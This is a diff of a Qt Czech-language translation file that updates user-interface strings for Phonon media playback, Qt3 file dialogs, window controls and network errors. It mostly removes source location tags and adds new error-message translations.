+ <message>
+ <source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which has higher preference or is specifically configured for this stream.&lt;/html&gt;</source>
+ <translation>&lt;html&gt;Přepíná se na zvukové přehrávací zařízení &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;, které má větší přednost, nebo bylo zvláště nastaveno pro tento proud.&lt;/html&gt;</translation>
+ </message>
</context>
<context>
<name>Phonon::Gstreamer::Backend</name>
<message>
- <location filename="../src/3rdparty/phonon/gstreamer/backend.cpp" line="+176"/>
<source>Warning: You do not seem to have the base GStreamer plugins installed.
All audio and video support has been disabled</source>
<translation>Upozornění: Zdá se, že zákládní přídavné moduly pro GStreamer nejsou nainstalovány.
Podpora audia a videa byla vypnuta</translation>
</message>
<message>
- <location line="-5"/>
<source>Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
Some video features have been disabled.</source>
<translation>Varování: Balíček gstreamer0.10-plugins-good není nainstalován.
@@ -115,50 +136,54 @@ Některé vlastnosti videa nejsou dostupné.</translation>
<context>
<name>Phonon::Gstreamer::MediaObject</name>
<message>
- <location filename="../src/3rdparty/phonon/gstreamer/mediaobject.cpp" line="+884"/>
- <location line="+8"/>
- <location line="+15"/>
- <location line="+22"/>
- <location line="+6"/>
- <location line="+19"/>
- <location line="+339"/>
- <location line="+24"/>
<source>Could not open media source.</source>
<translation>Zdroj s médii se nepodařilo otevřít.</translation>
</message>
<message>
- <location line="-3"/>
<source>Could not decode media source.</source>
<translation>Zdroj s médii se nepodařilo rozluštit.</translation>
</message>
<message>
- <location line="-417"/>
<source>Invalid source type.</source>
<translation>Neplatný typ zdroje s médii.</translation>
</message>
<message>
- <location line="-807"/>
<source>Cannot start playback.
Check your Gstreamer installation and make sure you
have libgstreamer-plugins-base installed.</source>
- <translation>Přehrávání nelze spustit.
+ <translation type="obsolete">Přehrávání nelze spustit.
Ověřte, prosím, instalaci Gstreamer a ujistěte se,
že je nainstalován balíček libgstreamer-plugins-base.</translation>
</message>
<message>
- <location line="+1211"/>
<source>Could not open audio device. The device is already in use.</source>
<translation>Zvukové zařízení se nepodařilo otevřít, protože se již používá.</translation>
</message>
<message>
- <location line="-1098"/>
<source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
<translation>Všechny vyžadované kodeky nejsou nainstalovány. Kvůli přehrání tohoto obsahu je potřeba nainstalovat následující kodek(y): %0</translation>
</message>
<message>
- <location line="+1088"/>
+ <source>Cannot start playback.
+
+Check your GStreamer installation and make sure you
+have libgstreamer-plugins-base installed.</source>
+ <translation>Přehrávání nelze spustit.
+
+Ověřte, prosím, instalaci Gstreamer a ujistěte se,
+že je nainstalován balíček libgstreamer-plugins-base.</translation>
+ </message>
+ <message>
+ <source>Missing codec helper script assistant.</source>
+ <translation>Chybí skriptový pomocník pro nápovědu ke kodeku.</translation>
+ </message>
+ <message>
+ <source>Plugin codec installation failed for codec: %0</source>
+ <translation>Instalace přídavného modulu kodeku se nezdařila pro kodek: %0</translation>
+ </message>
+ <message>
<source>Could not locate media source.</source>
<translation>Zdroj s médii se nepodařilo nalézt.</translation>
</message>
@@ -166,95 +191,360 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
<context>
<name>Phonon::MMF</name>
<message>
- <location filename="../src/3rdparty/phonon/mmf/audiooutput.cpp" line="+108"/>
<source>Audio Output</source>
<translation>Výstup zvuku</translation>
</message>
<message>
- <location line="+1"/>
<source>The audio output device</source>
<translation>Zařízení pro výstup zvuku</translation>
</message>
+ <message>
+ <source>No error</source>
+ <translation>Žádná chyba</translation>
+ </message>
+ <message>
+ <source>Not found</source>
+ <translation>Nenalezeno</translation>
+ </message>
+ <message>
+ <source>Out of memory</source>
+ <translation>Není dostupná žádná další paměť</translation>
+ </message>
+ <message>
+ <source>Not supported</source>
+ <translation>Nepodporováno</translation>
+ </message>
+ <message>
+ <source>Overflow</source>
+ <translation>Přetečení</translation>
+ </message>
+ <message>
+ <source>Underflow</source>
+ <translation>Podtečení</translation>
+ </message>
+ <message>
+ <source>Already exists</source>
+ <translation>Již existuje</translation>
+ </message>
+ <message>
+ <source>Path not found</source>
+ <translation>Cesta nenalezena</translation>
+ </message>
+ <message>
+ <source>In use</source>
+ <translation>Již se používá</translation>
+ </message>
+ <message>
+ <source>Not ready</source>
+ <translation>Nepřipraven</translation>
+ </message>
+ <message>
+ <source>Access denied</source>
+ <translation>Přístup odepřen</translation>
+ </message>
+ <message>
+ <source>Could not connect</source>
+ <translation>Nepodařilo se vytvořit žádné spojení</translation>
+ </message>
+ <message>
+ <source>Disconnected</source>
+ <translation>Odpojeno</translation>
+ </message>
+ <message>
+ <source>Permission denied</source>
+ <translation>Přístup odepřen</translation>
+ </message>
+ <message>
+ <source>Insufficient bandwidth</source>
+ <translation>Nedostatečná šířka pásma</translation>
+ </message>
+ <message>
+ <source>Network unavailable</source>
+ <translation>Síť není dostupná</translation>
+ </message>
+ <message>
+ <source>Network communication error</source>
+ <translation>Chyba při spojení přes síť</translation>
+ </message>
+ <message>
+ <source>Streaming not supported</source>
+ <translation>Proudění nepodporováno</translation>
+ </message>
+ <message>
+ <source>Server alert</source>
+ <translation>Stav pohotovosti serveru</translation>
+ </message>
+ <message>
+ <source>Invalid protocol</source>
+ <translation>Neplatný protokol</translation>
+ </message>
+ <message>
+ <source>Invalid URL</source>
+ <translation>Neplátné URL</translation>
+ </message>
+ <message>
+ <source>Multicast error</source>
+ <translation>Chyba ve vícepočítání (multicast)</translation>
+ </message>
+ <message>
+ <source>Proxy server error</source>
+ <translation>Chyba při spojení u zprostředkujícího serveru (proxy)</translation>
+ </message>
+ <message>
+ <source>Proxy server not supported</source>
+ <translation>Zprostředkující server nepodporován</translation>
+ </message>
+ <message>
+ <source>Audio output error</source>
+ <translation>Chyba při výstupu zvuku</translation>
+ </message>
+ <message>
+ <source>Video output error</source>
+ <translation>Chyba při výstupu obrazu</translation>
+ </message>
+ <message>
+ <source>Decoder error</source>
+ <translation>Chyba v dekodéru</translation>
+ </message>
+ <message>
+ <source>Audio or video components could not be played</source>
+ <translation>Zvukové nebo obrazové složky se nepodařilo přehrát</translation>
+ </message>
+ <message>
+ <source>DRM error</source>
+ <translation>Chyba DRM</translation>
+ </message>
+ <message>
+ <source>Unknown error (%1)</source>
+ <translation>Neznámá chyba (%1)</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::AbstractMediaPlayer</name>
+ <message>
+ <source>Not ready to play</source>
+ <translation>Nepřipraven k přehrávání</translation>
+ </message>
+ <message>
+ <source>Error opening file</source>
+ <translation>Soubor se nepodařilo otevřít</translation>
+ </message>
+ <message>
+ <source>Error opening URL</source>
+ <translation>Adresu se nepodařilo otevřít</translation>
+ </message>
+ <message>
+ <source>Error opening resource</source>
+ <translation>Nepodařilo se otevřít prostředky</translation>
+ </message>
+ <message>
+ <source>Error opening source: resource not opened</source>
+ <translation>Zdroj se nepodařilo otevřít: prostředek není otevřen</translation>
+ </message>
+ <message>
+ <source>Setting volume failed</source>
+ <translation>Hlasitost se nepodařilo nastavit</translation>
+ </message>
+ <message>
+ <source>Loading clip failed</source>
+ <translation>Ukázku se nepodařilo nahrát</translation>
+ </message>
+ <message>
+ <source>Playback complete</source>
+ <translation>Přehrávání dokončeno</translation>
+ </message>
+ <message>
+ <source>Download error</source>
+ <translation>Chyba při stahování</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::AbstractVideoPlayer</name>
+ <message>
+ <source>Pause failed</source>
+ <translation>Pozastavení se nepodařilo provést</translation>
+ </message>
+ <message>
+ <source>Seek failed</source>
+ <translation>Hledání se nepodařilo provést</translation>
+ </message>
+ <message>
+ <source>Getting position failed</source>
+ <translation>Polohu se nepodařilo určit</translation>
+ </message>
+ <message>
+ <source>Opening clip failed</source>
+ <translation>Ukázku se nepodařilo otevřít</translation>
+ </message>
</context>
<context>
<name>Phonon::MMF::AudioEqualizer</name>
<message>
- <location filename="../src/3rdparty/phonon/mmf/audioequalizer.cpp" line="+75"/>
<source>Frequency band, %1 Hz</source>
- <translation>Kmitočtové pásmo, %1 Hz</translation>
+ <translation type="obsolete">Kmitočtové pásmo, %1 Hz</translation>
+ </message>
+ <message>
+ <source>%1 Hz</source>
+ <translation>%1 Hz</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::AudioPlayer</name>
+ <message>
+ <source>Getting position failed</source>
+ <translation>Polohu se nepodařilo určit</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::DsaVideoPlayer</name>
+ <message>
+ <source>Video display error</source>
+ <translation>Chyba při zobrazení videa</translation>
</message>
</context>
<context>
<name>Phonon::MMF::EffectFactory</name>
<message>
- <location filename="../src/3rdparty/phonon/mmf/effectfactory.cpp" line="+65"/>
<source>audio equalizer</source>
- <translation>zvukový ekvalizér</translation>
+ <translation type="obsolete">zvukový ekvalizér</translation>
</message>
<message>
- <location line="+2"/>
<source>Bass boost</source>
- <translation>Zdůraznění basů</translation>
+ <translation type="obsolete">Zdůraznění basů</translation>
</message>
<message>
- <location line="+2"/>
<source>Distance Attenuation</source>
- <translation>Zeslabení v závislosti na vzdálenosti</translation>
+ <translation type="obsolete">Zeslabení v závislosti na vzdálenosti</translation>
</message>
<message>
- <location line="+2"/>
- <location line="+2"/>
<source>Environmental Reverb</source>
- <translation>Vnější ozvěna</translation>
+ <translation type="obsolete">Vnější ozvěna</translation>
</message>
<message>
- <location line="+2"/>
<source>Loudness</source>
- <translation>Hlasitost</translation>
+ <translation type="obsolete">Hlasitost</translation>
</message>
<message>
- <location line="+2"/>
<source>Source Orientation</source>
- <translation>Zaměření zdroje</translation>
+ <translation type="obsolete">Zaměření zdroje</translation>
</message>
<message>
- <location line="+2"/>
<source>Stereo Widening</source>
- <translation>Rozšíření sterea</translation>
+ <translation type="obsolete">Rozšíření sterea</translation>
+ </message>
+ <message>
+ <source>Enabled</source>
+ <translation>Povoleno</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::EnvironmentalReverb</name>
+ <message>
+ <source>Decay HF ratio (%)</source>
+ <extracomment>DecayHFRatio: Ratio of high-frequency decay time to the value specified by DecayTime.</extracomment>
+ <translation>Poměr dozvuku u vysokých kmitočtů (%)</translation>
+ </message>
+ <message>
+ <source>Decay time (ms)</source>
+ <extracomment>DecayTime: Time over which reverberation is diminished.</extracomment>
+ <translation>Čas dozvuku (ms)</translation>
+ </message>
+ <message>
+ <source>Density (%)</source>
+ <extracomment>Density Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Diffusion value.</extracomment>
+ <translation>Hustota (%)</translation>
+ </message>
+ <message>
+ <source>Diffusion (%)</source>
+ <extracomment>Diffusion: Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Density value.</extracomment>
+ <translation>Rozptyl (%)</translation>
+ </message>
+ <message>
+ <source>Reflections delay (ms)</source>
+ <extracomment>ReflectionsDelay: Amount of delay between the arrival the direct path from the source and the arrival of the first reflection.</extracomment>
+ <translation>Zpoždění odrazu (ms)</translation>
+ </message>
+ <message>
+ <source>Reflections level (mB)</source>
+ <extracomment>ReflectionsLevel: Amplitude of reflections. This value is corrected by the RoomLevel to give the final reflection amplitude.</extracomment>
+ <translation>Síla odrazu (mB)</translation>
+ </message>
+ <message>
+ <source>Reverb delay (ms)</source>
+ <extracomment>ReverbDelay: Amount of time between arrival of the first reflection and start of the late reverberation.</extracomment>
+ <translation>Zpoždění ozvěny (ms)</translation>
+ </message>
+ <message>
+ <source>Reverb level (mB)</source>
+ <extracomment>ReverbLevel Amplitude of reverberations. This value is corrected by the RoomLevel to give the final reverberation amplitude.</extracomment>
+ <translation>Síla ozvěny (mB)</translation>
+ </message>
+ <message>
+ <source>Room HF level</source>
+ <extracomment>RoomHFLevel: Amplitude of low-pass filter used to attenuate the high frequency component of reflected sound.</extracomment>
+ <translation>Hladina vysokého kmitočtu v prostoru</translation>
+ </message>
+ <message>
+ <source>Room level (mB)</source>
+ <extracomment>RoomLevel: Master volume control for all reflected sound.</extracomment>
+ <translation>Hladina prostoru (mB)</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::MediaObject</name>
+ <message>
+ <source>Error opening source: type not supported</source>
+ <translation>Zdroj se nepodařilo otevřít: tento typ není podporován</translation>
+ </message>
+ <message>
+ <source>Error opening source: resource is compressed</source>
+ <translation>Zdroj se nepodařilo otevřít: prostředek je zkomprimován</translation>
+ </message>
+ <message>
+ <source>Error opening source: resource not valid</source>
+ <translation>Zdroj se nepodařilo otevřít: prostředek není platný</translation>
+ </message>
+ <message>
+ <source>Error opening source: media type could not be determined</source>
+ <translation>Zdroj se nepodařilo otevřít: nepodařilo se určit typ média</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::StereoWidening</name>
+ <message>
+ <source>Level (%)</source>
+ <translation>Síla (%)</translation>
+ </message>
+</context>
+<context>
+ <name>Phonon::MMF::SurfaceVideoPlayer</name>
+ <message>
+ <source>Video display error</source>
+ <translation>Chyba při zobrazení videa</translation>
</message>
</context>
<context>
<name>Phonon::VolumeSlider</name>
<message>
- <location filename="../src/3rdparty/phonon/phonon/volumeslider.cpp" line="+42"/>
- <location line="+18"/>
- <location line="+129"/>
- <location line="+15"/>
<source>Volume: %1%</source>
<translation>Hlasitost: %1%</translation>
</message>
<message>
- <location line="-159"/>
- <location line="+18"/>
- <location line="+54"/>
<source>Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%</source>
<translation>Posuvník se používá k nastavení hlasitosti. Poloha nejvíce vlevo odpovídá 0%; poloha nejvíce vpravo odpovídá %1%</translation>
</message>
<message>
- <location line="+67"/>
<source>Muted</source>
- <translation>Ztlumení</translation>
+ <translation>Ztlumeno</translation>
</message>
</context>
<context>
<name>Q3Accel</name>
<message>
- <location filename="../src/qt3support/other/q3accel.cpp" line="+481"/>
<source>%1, %2 not defined</source>
<translation>%1, %2 nejsou stanoveny</translation>
</message>
<message>
- <location line="+36"/>
<source>Ambiguous %1 not handled</source>
<translation>Nejednoznačné %1 nemohou být zpracovány</translation>
</message>
@@ -262,27 +552,22 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
<context>
<name>Q3DataTable</name>
<message>
- <location filename="../src/qt3support/sql/q3datatable.cpp" line="+285"/>
<source>True</source>
<translation>Pravdivý</translation>
</message>
<message>
- <location line="+1"/>
<source>False</source>
- <translation>Nesprávný</translation>
+ <translation>Nepravdivý</translation>
</message>
<message>
- <location line="+507"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="-2"/>
<source>Insert</source>
<translation>Vložit</translation>
</message>
<message>
- <location line="+1"/>
<source>Update</source>
<translation>Obnovit</translation>
</message>
@@ -290,224 +575,170 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
<context>
<name>Q3FileDialog</name>
<message>
- <location filename="../src/qt3support/dialogs/q3filedialog.cpp" line="+2426"/>
- <location line="+2027"/>
<source>&amp;OK</source>
<translation>&amp;OK</translation>
</message>
<message>
- <location line="-254"/>
<source>&amp;No</source>
<translation>&amp;Ne</translation>
</message>
<message>
- <location line="-1557"/>
<source>Dir</source>
<translation>Adresář</translation>
</message>
<message>
- <location line="+1557"/>
<source>&amp;Yes</source>
<translation>&amp;Ano</translation>
</message>
<message>
- <location line="-1724"/>
<source>Back</source>
<translation>Zpět</translation>
</message>
<message>
- <location line="-85"/>
<source>Date</source>
<translation>Datum</translation>
</message>
<message>
- <location line="+251"/>
<source>File</source>
<translation>Soubor</translation>
</message>
<message>
- <location line="-255"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+961"/>
- <location line="+1999"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+209"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location line="-2959"/>
<source>Size</source>
<translation>Velikost</translation>
</message>
<message>
- <location line="+1767"/>
<source>Sort</source>
<translation>Roztřídit</translation>
</message>
<message>
- <location line="-1765"/>
<source>Type</source>
<translation>Typ</translation>
</message>
<message>
- <location line="+1710"/>
- <location line="+5"/>
- <location line="+355"/>
<source>&amp;Open</source>
<translation>&amp;Otevřít</translation>
</message>
<message>
- <location line="-357"/>
- <location line="+341"/>
<source>&amp;Save</source>
<translation>&amp;Uložit</translation>
</message>
<message>
- <location line="+51"/>
- <location line="+1009"/>
<source>Error</source>
<translation>Chyba</translation>
</message>
<message>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+144"/>
<source>Open </source>
<translation>Otevřít</translation>
</message>
<message>
- <location filename="../src/qt3support/dialogs/q3filedialog.cpp" line="-4660"/>
- <location line="+30"/>
<source>Write: %1</source>
<translation>Zapsat: %1</translation>
</message>
<message>
- <location line="+3263"/>
<source>Sort by &amp;Size</source>
<translation>Roztřídit podle &amp;velikosti</translation>
</message>
<message>
- <location line="+1"/>
<source>Sort by &amp;Date</source>
<translation>Roztřídit podle &amp;data</translation>
</message>
<message>
- <location line="-3"/>
<source>Sort by &amp;Name</source>
<translation>Roztřídit podle &amp;názvu</translation>
</message>
<message>
- <location line="+101"/>
<source>New Folder 1</source>
<translation>Nová složka 1</translation>
</message>
<message>
- <location line="-44"/>
<source>the directory</source>
<translation>Adresář</translation>
</message>
<message>
- <location line="-1723"/>
<source>File &amp;type:</source>
<translation>Typ &amp;souboru:</translation>
</message>
<message>
- <location line="-1"/>
- <location line="+1977"/>
- <location line="+16"/>
<source>File &amp;name:</source>
<translation>Název &amp;souboru:</translation>
</message>
<message>
- <location line="-264"/>
<source>Delete %1</source>
<translation>Smazat %1</translation>
</message>
<message>
- <location line="-3345"/>
- <location line="+1579"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="+1700"/>
<source>R&amp;eload</source>
<translation>Nahrát &amp;znovu</translation>
</message>
<message>
- <location line="+110"/>
<source>New Folder</source>
<translation>Nová složka</translation>
</message>
<message>
- <location line="-101"/>
<source>&amp;Unsorted</source>
<translation>&amp;Neroztříděné</translation>
</message>
<message>
- <location line="-1673"/>
<source>Look &amp;in:</source>
<translation>Hle&amp;dat v:</translation>
</message>
<message>
- <location line="+79"/>
<source>Preview File Contents</source>
<translation>Náhled obsahu souboru</translation>
</message>
<message>
- <location line="+1700"/>
<source>New Folder %1</source>
<translation>Nová složka %1</translation>
</message>
<message>
- <location line="-1612"/>
<source>Read-write</source>
<translation>Číst/Zapisovat</translation>
</message>
<message>
- <location line="+1"/>
<source>Read-only</source>
<translation>Pouze číst</translation>
</message>
<message>
- <location line="-1805"/>
<source>Copy or Move a File</source>
<translation>Soubor kopírovat nebo posunout</translation>
</message>
<message>
- <location line="+3368"/>
<source>&lt;qt&gt;Are you sure you wish to delete %1 &quot;%2&quot;?&lt;/qt&gt;</source>
<translation>&lt;qt&gt;Jste si jistý, že chcete smazat %1 &quot;%2&quot;?&lt;/qt&gt;</translation>
</message>
<message>
- <location line="+146"/>
<source>Find Directory</source>
<translation>Najít adresář</translation>
</message>
<message>
- <location line="-1952"/>
<source>Attributes</source>
<translation>Vlastnosti</translation>
</message>
<message>
- <location line="+1767"/>
<source>Show &amp;hidden files</source>
<translation>&amp;Ukázat skryté soubory</translation>
</message>
<message>
- <location line="-701"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="-73"/>
<source>Save As</source>
<translation>Uložit jako</translation>
</message>
<message>
- <location line="-821"/>
<source>Inaccessible</source>
<translation>Nepřístupné</translation>
</message>
<message>
- <location line="+1859"/>
<source>%1
File not found.
Check path and filename.</source>
@@ -516,106 +747,82 @@ Soubor se nepodařilo nalézt.
Ověřte cestu a název souboru.</translation>
</message>
<message>
- <location line="-1986"/>
<source>List View</source>
<translation>Pohled se seznamem</translation>
</message>
<message>
- <location line="+134"/>
<source>Special</source>
<translation>Zvláštní vlastnost</translation>
</message>
<message>
- <location line="-8"/>
<source>Write-only</source>
<translation>Pouze zápis</translation>
</message>
<message>
- <location line="+1558"/>
<source>the symlink</source>
<translation>Symbolický odkaz</translation>
</message>
<message>
- <location line="-83"/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
<message>
- <location line="-1837"/>
- <location line="+49"/>
- <location line="+2149"/>
- <location filename="../src/qt3support/dialogs/q3filedialog_mac.cpp" line="+112"/>
<source>All Files (*)</source>
<translation>Všechny soubory (*)</translation>
</message>
<message>
- <location line="-123"/>
- <location line="+108"/>
<source>Directories</source>
<translation>Adresáře</translation>
</message>
<message>
- <location line="-1816"/>
<source>Symlink to Special</source>
<translation>Symbolický odkaz k zvláštnímu souboru</translation>
</message>
<message>
- <location filename="../src/qt3support/dialogs/q3filedialog_win.cpp" line="+180"/>
<source>Select a Directory</source>
<translation>Vyberte adresář</translation>
</message>
<message>
- <location line="-371"/>
<source>All Files (*.*)</source>
<translation>Všechny soubory (*.*)</translation>
</message>
<message>
- <location filename="../src/qt3support/dialogs/q3filedialog.cpp" line="-1803"/>
<source>Read: %1</source>
<translation>Číst: %1</translation>
</message>
<message>
- <location line="+3272"/>
<source>&amp;Rename</source>
<translation>&amp;Přejmenovat</translation>
</message>
<message>
- <location line="+345"/>
<source>Directory:</source>
<translation>Adresář:</translation>
</message>
<message>
- <location line="-1972"/>
<source>One directory up</source>
<translation>O jeden adresář nahoru</translation>
</message>
<message>
- <location line="+44"/>
<source>Preview File Info</source>
<translation>Náhled informace o souboru</translation>
</message>
<message>
- <location line="+1663"/>
<source>the file</source>
<translation>Soubor</translation>
</message>
<message>
- <location line="-1698"/>
<source>Create New Folder</source>
<translation>Vytvořit novou složku</translation>
</message>
<message>
- <location line="+147"/>
<source>Symlink to File</source>
<translation>Symbolický odkaz k souboru</translation>
</message>
<message>
- <location line="+1"/>
<source>Symlink to Directory</source>
<translation>Symbolický odkaz k adresáři</translation>
</message>
<message>
- <location line="-122"/>
<source>Detail View</source>
<translation>Podrobný pohled</translation>
</message>
@@ -623,36 +830,30 @@ Ověřte cestu a název souboru.</translation>
<context>
<name>Q3LocalFs</name>
<message>
- <location filename="../src/qt3support/network/q3localfs.cpp" line="+271"/>
<source>Could not open
%1</source>
<translation>Nepodařilo se otevřít:
%1</translation>
</message>
<message>
- <location line="-52"/>
<source>Could not remove file or directory
%1</source>
<translation>Nepodařilo se odstranit soubor nebo adresář
%1</translation>
</message>
<message>
- <location line="-34"/>
<source>Could not create directory
%1</source>
<translation>Nepodařilo se vytvořit adresář
%1</translation>
</message>
<message>
- <location line="-55"/>
- <location line="+10"/>
<source>Could not read directory
%1</source>
<translation>Nepodařilo se přečíst adresář
%1</translation>
</message>
<message>
- <location line="+106"/>
<source>Could not rename
%1
to
@@ -663,7 +864,6 @@ na
%2</translation>
</message>
<message>
- <location line="+93"/>
<source>Could not write
%1</source>
<translation>Nepodařilo se zapsat:
@@ -673,12 +873,10 @@ na
<context>
<name>Q3MainWindow</name>
<message>
- <location filename="../src/qt3support/widgets/q3mainwindow.cpp" line="+2051"/>
<source>Line up</source>
<translation>Uspořádat</translation>
</message>
<message>
- <location line="+2"/>
<source>Customize...</source>
<translation>Přizpůsobit...</translation>
</message>
@@ -686,7 +884,6 @@ na
<context>
<name>Q3NetworkProtocol</name>
<message>
- <location filename="../src/qt3support/network/q3networkprotocol.cpp" line="+854"/>
<source>Operation stopped by the user</source>
<translation>Operace byla zastavena uživatelem</translation>
</message>
@@ -694,8 +891,6 @@ na
<context>
<name>Q3ProgressDialog</name>
<message>
- <location filename="../src/qt3support/dialogs/q3progressdialog.cpp" line="+224"/>
- <location line="+61"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
@@ -703,28 +898,22 @@ na
<context>
<name>Q3TabDialog</name>
<message>
- <location filename="../src/qt3support/dialogs/q3tabdialog.cpp" line="+190"/>
- <location line="+824"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location line="-323"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="-43"/>
<source>Apply</source>
<translation>Použít</translation>
</message>
<message>
- <location line="+138"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="-50"/>
<source>Defaults</source>
<translation>Výchozí</translation>
</message>
@@ -732,38 +921,30 @@ na
<context>
<name>Q3TextEdit</name>
<message>
- <location filename="../src/qt3support/text/q3textedit.cpp" line="+5435"/>
<source>Cu&amp;t</source>
<translation>Vyj&amp;mout</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location line="-6"/>
<source>&amp;Redo</source>
<translation>&amp;Znovu</translation>
</message>
<message>
- <location line="-1"/>
<source>&amp;Undo</source>
<translation>&amp;Zpět</translation>
</message>
<message>
- <location line="+12"/>
<source>Clear</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="-3"/>
<source>&amp;Paste</source>
<translation>&amp;Vložit</translation>
</message>
<message>
- <location line="+7"/>
- <location line="+2"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
@@ -771,12 +952,10 @@ na
<context>
<name>Q3TitleBar</name>
<message>
- <location filename="../src/plugins/accessible/compat/q3complexwidgets.cpp" line="+256"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="-6"/>
<source>Minimize</source>
<translation>Zmenšit</translation>
</message>
@@ -785,57 +964,46 @@ na
<translation type="obsolete">Dá velikost zmenšeného okna zpátky do obvyklého stavu</translation>
</message>
<message>
- <location line="+36"/>
<source>Displays the name of the window and contains controls to manipulate it</source>
<translation>Zobrazí název okna a obsahuje příkazy pro zacházení s ním</translation>
</message>
<message>
- <location line="-4"/>
<source>Makes the window full screen</source>
<translation>Dá okno na celou obrazovku</translation>
</message>
<message>
- <location line="-36"/>
<source>System</source>
<translation>Systém</translation>
</message>
<message>
- <location line="+8"/>
<source>Maximize</source>
<translation>Zvětšit</translation>
</message>
<message>
- <location line="+20"/>
<source>Contains commands to manipulate the window</source>
<translation>Obsahuje příkazy pro zacházení s velikostí okna</translation>
</message>
<message>
- <location line="-25"/>
<source>Restore up</source>
<translation>Obnovit</translation>
</message>
<message>
- <location line="+28"/>
<source>Puts a minimized window back to normal</source>
<translation>Dá velikost zmenšeného okna zpátky do obvyklého stavu</translation>
</message>
<message>
- <location line="+7"/>
<source>Closes the window</source>
<translation>Zavře okno</translation>
</message>
<message>
- <location line="-3"/>
<source>Puts a maximized window back to normal</source>
<translation>Dá velikost zvětšeného okna zpátky do obvyklého stavu</translation>
</message>
<message>
- <location line="-3"/>
<source>Moves the window out of the way</source>
<translation>Zmenší okno</translation>
</message>
<message>
- <location line="-25"/>
<source>Restore down</source>
<translation>Obnovit</translation>
</message>
@@ -843,7 +1011,6 @@ na
<context>
<name>Q3ToolBar</name>
<message>
- <location filename="../src/qt3support/widgets/q3toolbar.cpp" line="+692"/>
<source>More...</source>
<translation>Více...</translation>
</message>
@@ -851,51 +1018,38 @@ na
<context>
<name>Q3UrlOperator</name>
<message>
- <location filename="../src/qt3support/network/q3urloperator.cpp" line="+402"/>
<source>The protocol `%1&apos; does not support getting files</source>
<translation>Protokol `%1&apos; nepodporuje nahrávání souborů</translation>
</message>
<message>
- <location line="-3"/>
<source>The protocol `%1&apos; does not support renaming files or directories</source>
<translation>Protokol `%1&apos; nepodporuje přejmenovávání souborů nebo adresářů</translation>
</message>
<message>
- <location line="-9"/>
<source>The protocol `%1&apos; does not support listing directories</source>
<translation>Protokol `%1&apos; nepodporuje sestavování seznamu adresářů</translation>
</message>
<message>
- <location line="+499"/>
- <location line="+1"/>
<source>(unknown)</source>
<translation>(neznámý)</translation>
</message>
<message>
- <location line="-494"/>
<source>The protocol `%1&apos; does not support removing files or directories</source>
<translation>Protokol `%1&apos; nepodporuje odstraňování souborů nebo adresářů</translation>
</message>
<message>
- <location line="+9"/>
<source>The protocol `%1&apos; does not support putting files</source>
<translation>Protokol `%1&apos; nepodporuje ukládání souborů</translation>
</message>
<message>
- <location line="-19"/>
- <location line="+260"/>
- <location line="+4"/>
<source>The protocol `%1&apos; is not supported</source>
<translation>Protokol `%1&apos; není podporován</translation>
</message>
<message>
- <location line="-2"/>
- <location line="+4"/>
<source>The protocol `%1&apos; does not support copying or moving files or directories</source>
<translation>Protokol `%1&apos; nepodporuje kopírování či přesun souborů nebo adresářů</translation>
</message>
<message>
- <location line="-259"/>
<source>The protocol `%1&apos; does not support creating new directories</source>
<translation>Protokol `%1&apos; nepodporuje vytváření nových adresářů</translation>
</message>
@@ -903,27 +1057,22 @@ na
<context>
<name>Q3Wizard</name>
<message>
- <location filename="../src/qt3support/dialogs/q3wizard.cpp" line="+181"/>
<source>&amp;Help</source>
<translation>&amp;Nápověda</translation>
</message>
<message>
- <location line="-4"/>
<source>&amp;Cancel</source>
<translation>&amp;Zrušit</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Finish</source>
<translation>Do&amp;končit</translation>
</message>
<message>
- <location line="-1"/>
<source>&amp;Next &gt;</source>
<translation>&amp;Další &gt;</translation>
</message>
<message>
- <location line="-1"/>
<source>&lt; &amp;Back</source>
<translation>&lt; &amp;Zpět</translation>
</message>
@@ -931,44 +1080,30 @@ na
<context>
<name>QAbstractSocket</name>
<message>
- <location filename="../src/network/socket/qabstractsocket.cpp" line="+890"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+633"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+661"/>
- <location line="+26"/>
<source>Host not found</source>
<translation>Nepodařilo se najít počítač</translation>
</message>
<message>
- <location line="+50"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+3"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+4"/>
